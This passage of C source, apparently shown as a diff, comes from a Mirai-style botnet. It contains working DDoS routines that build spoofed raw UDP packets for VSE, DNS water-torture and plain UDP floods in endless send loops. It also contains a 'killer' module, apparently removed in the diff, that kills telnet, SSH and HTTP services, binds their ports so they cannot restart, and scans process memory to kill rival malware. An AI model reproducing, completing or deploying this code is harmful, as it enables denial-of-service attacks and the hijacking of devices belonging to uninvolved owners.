// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (ip_ident == 0xffff)
|
||||
iph->id = (uint16_t)rand_next();
|
||||
if (sport == 0xffff)
|
||||
udph->source = rand_next();
|
||||
if (dport == 0xffff)
|
||||
udph->dest = rand_next();
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
udph->check = 0;
|
||||
udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);
|
||||
|
||||
targs[i].sock_addr.sin_port = udph->dest;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void attack_udp_dns(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
|
||||
BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 53);
|
||||
uint16_t dns_hdr_id = attack_get_opt_int(opts_len, opts, ATK_OPT_DNS_HDR_ID, 0xffff);
|
||||
uint8_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 12);
|
||||
char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);
|
||||
int domain_len;
|
||||
ipv4_t dns_resolver = get_dns_resolver();
|
||||
|
||||
if (domain == NULL)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Cannot send DNS flood without a domain\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
domain_len = util_strlen(domain);
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create raw socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
i = 1;
|
||||
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set IP_HDRINCL. Aborting\n");
|
||||
#endif
|
||||
close(fd);
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
int ii;
|
||||
uint8_t curr_word_len = 0, num_words = 0;
|
||||
struct iphdr *iph;
|
||||
struct udphdr *udph;
|
||||
struct dnshdr *dnsh;
|
||||
char *qname, *curr_lbl;
|
||||
struct dns_question *dnst;
|
||||
|
||||
pkts[i] = calloc(600, sizeof (char));
|
||||
iph = (struct iphdr *)pkts[i];
|
||||
udph = (struct udphdr *)(iph + 1);
|
||||
dnsh = (struct dnshdr *)(udph + 1);
|
||||
qname = (char *)(dnsh + 1);
|
||||
|
||||
iph->version = 4;
|
||||
iph->ihl = 5;
|
||||
iph->tos = ip_tos;
|
||||
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
|
||||
iph->id = htons(ip_ident);
|
||||
iph->ttl = ip_ttl;
|
||||
if (dont_frag)
|
||||
iph->frag_off = htons(1 << 14);
|
||||
iph->protocol = IPPROTO_UDP;
|
||||
iph->saddr = LOCAL_ADDR;
|
||||
iph->daddr = dns_resolver;
|
||||
|
||||
udph->source = htons(sport);
|
||||
udph->dest = htons(dport);
|
||||
udph->len = htons(sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
|
||||
|
||||
dnsh->id = htons(dns_hdr_id);
|
||||
dnsh->opts = htons(1 << 8); // Recursion desired
|
||||
dnsh->qdcount = htons(1);
|
||||
|
||||
// Fill out random area
|
||||
*qname++ = data_len;
|
||||
qname += data_len;
|
||||
|
||||
curr_lbl = qname;
|
||||
util_memcpy(qname + 1, domain, domain_len + 1); // Null byte at end needed
|
||||
|
||||
// Write in domain
|
||||
for (ii = 0; ii < domain_len; ii++)
|
||||
{
|
||||
if (domain[ii] == '.')
|
||||
{
|
||||
*curr_lbl = curr_word_len;
|
||||
curr_word_len = 0;
|
||||
num_words++;
|
||||
curr_lbl = qname + ii + 1;
|
||||
}
|
||||
else
|
||||
curr_word_len++;
|
||||
}
|
||||
*curr_lbl = curr_word_len;
|
||||
|
||||
dnst = (struct dns_question *)(qname + domain_len + 2);
|
||||
dnst->qtype = htons(PROTO_DNS_QTYPE_A);
|
||||
dnst->qclass = htons(PROTO_DNS_QCLASS_IP);
|
||||
}
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *pkt = pkts[i];
|
||||
struct iphdr *iph = (struct iphdr *)pkt;
|
||||
struct udphdr *udph = (struct udphdr *)(iph + 1);
|
||||
struct dnshdr *dnsh = (struct dnshdr *)(udph + 1);
|
||||
char *qrand = ((char *)(dnsh + 1)) + 1;
|
||||
|
||||
if (ip_ident == 0xffff)
|
||||
iph->id = rand_next() & 0xffff;
|
||||
if (sport == 0xffff)
|
||||
udph->source = rand_next() & 0xffff;
|
||||
if (dport == 0xffff)
|
||||
udph->dest = rand_next() & 0xffff;
|
||||
|
||||
if (dns_hdr_id == 0xffff)
|
||||
dnsh->id = rand_next() & 0xffff;
|
||||
|
||||
rand_alphastr((uint8_t *)qrand, data_len);
|
||||
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
udph->check = 0;
|
||||
udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
|
||||
|
||||
targs[i].sock_addr.sin_addr.s_addr = dns_resolver;
|
||||
targs[i].sock_addr.sin_port = udph->dest;
|
||||
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question), MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void attack_udp_plain(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("in udp plain\n");
|
||||
#endif
|
||||
|
||||
int i;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
int *fds = calloc(targs_len, sizeof (int));
|
||||
port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
|
||||
port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
|
||||
uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
|
||||
BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
|
||||
struct sockaddr_in bind_addr = {0};
|
||||
|
||||
if (sport == 0xffff)
|
||||
{
|
||||
sport = rand_next();
|
||||
} else {
|
||||
sport = htons(sport);
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("after args\n");
|
||||
#endif
|
||||
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
struct iphdr *iph;
|
||||
struct udphdr *udph;
|
||||
char *data;
|
||||
|
||||
pkts[i] = calloc(65535, sizeof (char));
|
||||
|
||||
if (dport == 0xffff)
|
||||
targs[i].sock_addr.sin_port = rand_next();
|
||||
else
|
||||
targs[i].sock_addr.sin_port = htons(dport);
|
||||
|
||||
if ((fds[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to create udp socket. Aborting attack\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
|
||||
bind_addr.sin_family = AF_INET;
|
||||
bind_addr.sin_port = sport;
|
||||
bind_addr.sin_addr.s_addr = 0;
|
||||
|
||||
if (bind(fds[i], (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to bind udp socket.\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
// For prefix attacks
|
||||
if (targs[i].netmask < 32)
|
||||
targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
|
||||
|
||||
if (connect(fds[i], (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to connect udp socket.\n");
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("after setup\n");
|
||||
#endif
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
char *data = pkts[i];
|
||||
|
||||
// Randomize packet content?
|
||||
if (data_rand)
|
||||
rand_str(data, data_len);
|
||||
|
||||
#ifdef DEBUG
|
||||
errno = 0;
|
||||
if (send(fds[i], data, data_len, MSG_NOSIGNAL) == -1)
|
||||
{
|
||||
printf("send failed: %d\n", errno);
|
||||
} else {
|
||||
printf(".\n");
|
||||
}
|
||||
#else
|
||||
send(fds[i], data, data_len, MSG_NOSIGNAL);
|
||||
#endif
|
||||
}
|
||||
#ifdef DEBUG
|
||||
break;
|
||||
if (errno != 0)
|
||||
printf("errno = %d\n", errno);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
static ipv4_t get_dns_resolver(void)
|
||||
{
|
||||
int fd;
|
||||
|
||||
table_unlock_val(TABLE_ATK_RESOLVER);
|
||||
fd = open(table_retrieve_val(TABLE_ATK_RESOLVER, NULL), O_RDONLY);
|
||||
table_lock_val(TABLE_ATK_RESOLVER);
|
||||
if (fd >= 0)
|
||||
{
|
||||
int ret, nspos;
|
||||
char resolvbuf[2048];
|
||||
|
||||
ret = read(fd, resolvbuf, sizeof (resolvbuf));
|
||||
close(fd);
|
||||
table_unlock_val(TABLE_ATK_NSERV);
|
||||
nspos = util_stristr(resolvbuf, ret, table_retrieve_val(TABLE_ATK_NSERV, NULL));
|
||||
table_lock_val(TABLE_ATK_NSERV);
|
||||
if (nspos != -1)
|
||||
{
|
||||
int i;
|
||||
char ipbuf[32];
|
||||
BOOL finished_whitespace = FALSE;
|
||||
BOOL found = FALSE;
|
||||
|
||||
for (i = nspos; i < ret; i++)
|
||||
{
|
||||
char c = resolvbuf[i];
|
||||
|
||||
// Skip leading whitespace
|
||||
if (!finished_whitespace)
|
||||
{
|
||||
if (c == ' ' || c == '\t')
|
||||
continue;
|
||||
else
|
||||
finished_whitespace = TRUE;
|
||||
}
|
||||
|
||||
// End if c is not either a dot or a number
|
||||
if ((c != '.' && (c < '0' || c > '9')) || (i == (ret - 1)))
|
||||
{
|
||||
util_memcpy(ipbuf, resolvbuf + nspos, i - nspos);
|
||||
ipbuf[i - nspos] = 0;
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (found)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Found local resolver: '%s'\n", ipbuf);
|
||||
#endif
|
||||
return inet_addr(ipbuf);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
switch (rand_next() % 4)
|
||||
{
|
||||
case 0:
|
||||
return INET_ADDR(8,8,8,8);
|
||||
case 1:
|
||||
return INET_ADDR(74,82,42,42);
|
||||
case 2:
|
||||
return INET_ADDR(64,6,64,6);
|
||||
case 3:
|
||||
return INET_ADDR(4,2,2,2);
|
||||
}
|
||||
}
|
|
@ -1,560 +0,0 @@
|
|||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/limits.h>
|
||||
#include <sys/types.h>
|
||||
#include <dirent.h>
|
||||
#include <signal.h>
|
||||
#include <fcntl.h>
|
||||
#include <time.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "killer.h"
|
||||
#include "table.h"
|
||||
#include "util.h"
|
||||
|
||||
int killer_pid;
|
||||
char *killer_realpath;
|
||||
int killer_realpath_len = 0;
|
||||
|
||||
void killer_init(void)
|
||||
{
|
||||
int killer_highest_pid = KILLER_MIN_PID, last_pid_scan = time(NULL), tmp_bind_fd;
|
||||
uint32_t scan_counter = 0;
|
||||
struct sockaddr_in tmp_bind_addr;
|
||||
|
||||
// Let parent continue on main thread
|
||||
killer_pid = fork();
|
||||
if (killer_pid > 0 || killer_pid == -1)
|
||||
return;
|
||||
|
||||
tmp_bind_addr.sin_family = AF_INET;
|
||||
tmp_bind_addr.sin_addr.s_addr = INADDR_ANY;
|
||||
|
||||
// Kill telnet service and prevent it from restarting
|
||||
#ifdef KILLER_REBIND_TELNET
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Trying to kill port 23\n");
|
||||
#endif
|
||||
if (killer_kill_by_port(htons(23)))
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Killed tcp/23 (telnet)\n");
|
||||
#endif
|
||||
} else {
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Failed to kill port 23\n");
|
||||
#endif
|
||||
}
|
||||
tmp_bind_addr.sin_port = htons(23);
|
||||
|
||||
if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
|
||||
{
|
||||
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
|
||||
listen(tmp_bind_fd, 1);
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Bound to tcp/23 (telnet)\n");
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// Kill SSH service and prevent it from restarting
|
||||
#ifdef KILLER_REBIND_SSH
|
||||
if (killer_kill_by_port(htons(22)))
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Killed tcp/22 (SSH)\n");
|
||||
#endif
|
||||
}
|
||||
tmp_bind_addr.sin_port = htons(22);
|
||||
|
||||
if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
|
||||
{
|
||||
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
|
||||
listen(tmp_bind_fd, 1);
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Bound to tcp/22 (SSH)\n");
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// Kill HTTP service and prevent it from restarting
|
||||
#ifdef KILLER_REBIND_HTTP
|
||||
if (killer_kill_by_port(htons(80)))
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Killed tcp/80 (http)\n");
|
||||
#endif
|
||||
}
|
||||
tmp_bind_addr.sin_port = htons(80);
|
||||
|
||||
if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
|
||||
{
|
||||
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
|
||||
listen(tmp_bind_fd, 1);
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Bound to tcp/80 (http)\n");
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// In case the binary is getting deleted, we want to get the REAL realpath
|
||||
sleep(5);
|
||||
|
||||
killer_realpath = malloc(PATH_MAX);
|
||||
killer_realpath[0] = 0;
|
||||
killer_realpath_len = 0;
|
||||
|
||||
if (!has_exe_access())
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Machine does not have /proc/$pid/exe\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Memory scanning processes\n");
|
||||
#endif
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
DIR *dir;
|
||||
struct dirent *file;
|
||||
|
||||
table_unlock_val(TABLE_KILLER_PROC);
|
||||
if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) == NULL)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Failed to open /proc!\n");
|
||||
#endif
|
||||
break;
|
||||
}
|
||||
table_lock_val(TABLE_KILLER_PROC);
|
||||
|
||||
while ((file = readdir(dir)) != NULL)
|
||||
{
|
||||
// skip all folders that are not PIDs
|
||||
if (*(file->d_name) < '0' || *(file->d_name) > '9')
|
||||
continue;
|
||||
|
||||
char exe_path[64], *ptr_exe_path = exe_path, realpath[PATH_MAX];
|
||||
char status_path[64], *ptr_status_path = status_path;
|
||||
int rp_len, fd, pid = atoi(file->d_name);
|
||||
|
||||
scan_counter++;
|
||||
if (pid <= killer_highest_pid)
|
||||
{
|
||||
if (time(NULL) - last_pid_scan > KILLER_RESTART_SCAN_TIME) // If more than KILLER_RESTART_SCAN_TIME has passed, restart scans from lowest PID for process wrap
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] %d seconds have passed since last scan. Re-scanning all processes!\n", KILLER_RESTART_SCAN_TIME);
|
||||
#endif
|
||||
killer_highest_pid = KILLER_MIN_PID;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (pid > KILLER_MIN_PID && scan_counter % 10 == 0)
|
||||
sleep(1); // Sleep so we can wait for another process to spawn
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
if (pid > killer_highest_pid)
|
||||
killer_highest_pid = pid;
|
||||
last_pid_scan = time(NULL);
|
||||
|
||||
table_unlock_val(TABLE_KILLER_PROC);
|
||||
table_unlock_val(TABLE_KILLER_EXE);
|
||||
|
||||
// Store /proc/$pid/exe into exe_path
|
||||
ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
|
||||
ptr_exe_path += util_strcpy(ptr_exe_path, file->d_name);
|
||||
ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_EXE, NULL));
|
||||
|
||||
// Store /proc/$pid/status into status_path
|
||||
ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
|
||||
ptr_status_path += util_strcpy(ptr_status_path, file->d_name);
|
||||
ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_STATUS, NULL));
|
||||
|
||||
table_lock_val(TABLE_KILLER_PROC);
|
||||
table_lock_val(TABLE_KILLER_EXE);
|
||||
|
||||
// Resolve exe_path (/proc/$pid/exe) -> realpath
|
||||
if ((rp_len = readlink(exe_path, realpath, sizeof (realpath) - 1)) != -1)
|
||||
{
|
||||
realpath[rp_len] = 0; // Nullterminate realpath, since readlink doesn't guarantee a null terminated string
|
||||
|
||||
table_unlock_val(TABLE_KILLER_ANIME);
|
||||
// If path contains ".anime" kill.
|
||||
if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1)
|
||||
{
|
||||
unlink(realpath);
|
||||
kill(pid, 9);
|
||||
}
|
||||
table_lock_val(TABLE_KILLER_ANIME);
|
||||
|
||||
// Skip this file if its realpath == killer_realpath
|
||||
if (pid == getpid() || pid == getppid() || util_strcmp(realpath, killer_realpath))
|
||||
continue;
|
||||
|
||||
if ((fd = open(realpath, O_RDONLY)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Process '%s' has deleted binary!\n", realpath);
|
||||
#endif
|
||||
kill(pid, 9);
|
||||
}
|
||||
close(fd);
|
||||
}
|
||||
|
||||
if (memory_scan_match(exe_path))
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Memory scan match for binary %s\n", exe_path);
|
||||
#endif
|
||||
kill(pid, 9);
|
||||
}
|
||||
|
||||
/*
|
||||
if (upx_scan_match(exe_path, status_path))
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] UPX scan match for binary %s\n", exe_path);
|
||||
#endif
|
||||
kill(pid, 9);
|
||||
}
|
||||
*/
|
||||
|
||||
// Don't let others memory scan!!!
|
||||
util_zero(exe_path, sizeof (exe_path));
|
||||
util_zero(status_path, sizeof (status_path));
|
||||
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
closedir(dir);
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Finished\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
void killer_kill(void)
|
||||
{
|
||||
kill(killer_pid, 9);
|
||||
}
|
||||
|
||||
BOOL killer_kill_by_port(port_t port)
|
||||
{
|
||||
DIR *dir, *fd_dir;
|
||||
struct dirent *entry, *fd_entry;
|
||||
char path[PATH_MAX] = {0}, exe[PATH_MAX] = {0}, buffer[513] = {0};
|
||||
int pid = 0, fd = 0;
|
||||
char inode[16] = {0};
|
||||
char *ptr_path = path;
|
||||
int ret = 0;
|
||||
char port_str[16];
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Finding and killing processes holding port %d\n", ntohs(port));
|
||||
#endif
|
||||
|
||||
util_itoa(ntohs(port), 16, port_str);
|
||||
if (util_strlen(port_str) == 2)
|
||||
{
|
||||
port_str[2] = port_str[0];
|
||||
port_str[3] = port_str[1];
|
||||
port_str[4] = 0;
|
||||
|
||||
port_str[0] = '0';
|
||||
port_str[1] = '0';
|
||||
}
|
||||
|
||||
table_unlock_val(TABLE_KILLER_PROC);
|
||||
table_unlock_val(TABLE_KILLER_EXE);
|
||||
table_unlock_val(TABLE_KILLER_FD);
|
||||
|
||||
fd = open("/proc/net/tcp", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return 0;
|
||||
|
||||
while (util_fdgets(buffer, 512, fd) != NULL)
|
||||
{
|
||||
int i = 0, ii = 0;
|
||||
|
||||
while (buffer[i] != 0 && buffer[i] != ':')
|
||||
i++;
|
||||
|
||||
if (buffer[i] == 0) continue;
|
||||
i += 2;
|
||||
ii = i;
|
||||
|
||||
while (buffer[i] != 0 && buffer[i] != ' ')
|
||||
i++;
|
||||
buffer[i++] = 0;
|
||||
|
||||
// Compare the entry in /proc/net/tcp to the hex value of the htons port
|
||||
if (util_stristr(&(buffer[ii]), util_strlen(&(buffer[ii])), port_str) != -1)
|
||||
{
|
||||
int column_index = 0;
|
||||
BOOL in_column = FALSE;
|
||||
BOOL listening_state = FALSE;
|
||||
|
||||
while (column_index < 7 && buffer[++i] != 0)
|
||||
{
|
||||
if (buffer[i] == ' ' || buffer[i] == '\t')
|
||||
in_column = TRUE;
|
||||
else
|
||||
{
|
||||
if (in_column == TRUE)
|
||||
column_index++;
|
||||
|
||||
if (in_column == TRUE && column_index == 1 && buffer[i + 1] == 'A')
|
||||
{
|
||||
listening_state = TRUE;
|
||||
}
|
||||
|
||||
in_column = FALSE;
|
||||
}
|
||||
}
|
||||
ii = i;
|
||||
|
||||
if (listening_state == FALSE)
|
||||
continue;
|
||||
|
||||
while (buffer[i] != 0 && buffer[i] != ' ')
|
||||
i++;
|
||||
buffer[i++] = 0;
|
||||
|
||||
if (util_strlen(&(buffer[ii])) > 15)
|
||||
continue;
|
||||
|
||||
util_strcpy(inode, &(buffer[ii]));
|
||||
break;
|
||||
}
|
||||
}
|
||||
close(fd);
|
||||
|
||||
// If we failed to find it, lock everything and move on
|
||||
if (util_strlen(inode) == 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to find inode for port %d\n", ntohs(port));
|
||||
#endif
|
||||
table_lock_val(TABLE_KILLER_PROC);
|
||||
table_lock_val(TABLE_KILLER_EXE);
|
||||
table_lock_val(TABLE_KILLER_FD);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("Found inode \"%s\" for port %d\n", inode, ntohs(port));
|
||||
#endif
|
||||
|
||||
if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) != NULL)
|
||||
{
|
||||
while ((entry = readdir(dir)) != NULL && ret == 0)
|
||||
{
|
||||
char *pid = entry->d_name;
|
||||
|
||||
// skip all folders that are not PIDs
|
||||
if (*pid < '0' || *pid > '9')
|
||||
continue;
|
||||
|
||||
util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), pid);
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_EXE, NULL));
|
||||
|
||||
if (readlink(path, exe, PATH_MAX) == -1)
|
||||
continue;
|
||||
|
||||
util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), pid);
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL));
|
||||
if ((fd_dir = opendir(path)) != NULL)
|
||||
{
|
||||
while ((fd_entry = readdir(fd_dir)) != NULL && ret == 0)
|
||||
{
|
||||
char *fd_str = fd_entry->d_name;
|
||||
|
||||
util_zero(exe, PATH_MAX);
|
||||
util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), pid);
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL));
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), "/");
|
||||
util_strcpy(ptr_path + util_strlen(ptr_path), fd_str);
|
||||
if (readlink(path, exe, PATH_MAX) == -1)
|
||||
continue;
|
||||
|
||||
if (util_stristr(exe, util_strlen(exe), inode) != -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Found pid %d for port %d\n", util_atoi(pid, 10), ntohs(port));
|
||||
#else
|
||||
kill(util_atoi(pid, 10), 9);
|
||||
#endif
|
||||
ret = 1;
|
||||
}
|
||||
}
|
||||
closedir(fd_dir);
|
||||
}
|
||||
}
|
||||
closedir(dir);
|
||||
}
|
||||
|
||||
sleep(1);
|
||||
|
||||
table_lock_val(TABLE_KILLER_PROC);
|
||||
table_lock_val(TABLE_KILLER_EXE);
|
||||
table_lock_val(TABLE_KILLER_FD);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
static BOOL has_exe_access(void)
|
||||
{
|
||||
char path[PATH_MAX], *ptr_path = path, tmp[16];
|
||||
int fd, k_rp_len;
|
||||
|
||||
table_unlock_val(TABLE_KILLER_PROC);
|
||||
table_unlock_val(TABLE_KILLER_EXE);
|
||||
|
||||
// Copy /proc/$pid/exe into path
|
||||
ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
|
||||
ptr_path += util_strcpy(ptr_path, util_itoa(getpid(), 10, tmp));
|
||||
ptr_path += util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_EXE, NULL));
|
||||
|
||||
// Try to open file
|
||||
if ((fd = open(path, O_RDONLY)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Failed to open()\n");
|
||||
#endif
|
||||
return FALSE;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
table_lock_val(TABLE_KILLER_PROC);
|
||||
table_lock_val(TABLE_KILLER_EXE);
|
||||
|
||||
if ((k_rp_len = readlink(path, killer_realpath, PATH_MAX - 1)) != -1)
|
||||
{
|
||||
killer_realpath[k_rp_len] = 0;
|
||||
#ifdef DEBUG
|
||||
printf("[killer] Detected we are running out of `%s`\n", killer_realpath);
|
||||
#endif
|
||||
}
|
||||
|
||||
util_zero(path, ptr_path - path);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
static BOOL status_upx_check(char *exe_path, char *status_path)
|
||||
{
|
||||
int fd, ret;
|
||||
|
||||
if ((fd = open(exe_path, O_RDONLY)) != -1)
|
||||
{
|
||||
close(fd);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ((fd = open(status_path, O_RDONLY)) == -1)
|
||||
return FALSE;
|
||||
|
||||
while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0)
|
||||
{
|
||||
if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) ||
|
||||
mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) ||
|
||||
mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) ||
|
||||
mem_exists(rdbuf, ret, m_upx_str, m_upx_len) ||
|
||||
mem_exists(rdbuf, ret, m_zollard, m_zollard_len))
|
||||
{
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//eyy
|
||||
|
||||
close(fd);
|
||||
return FALSE;
|
||||
}
|
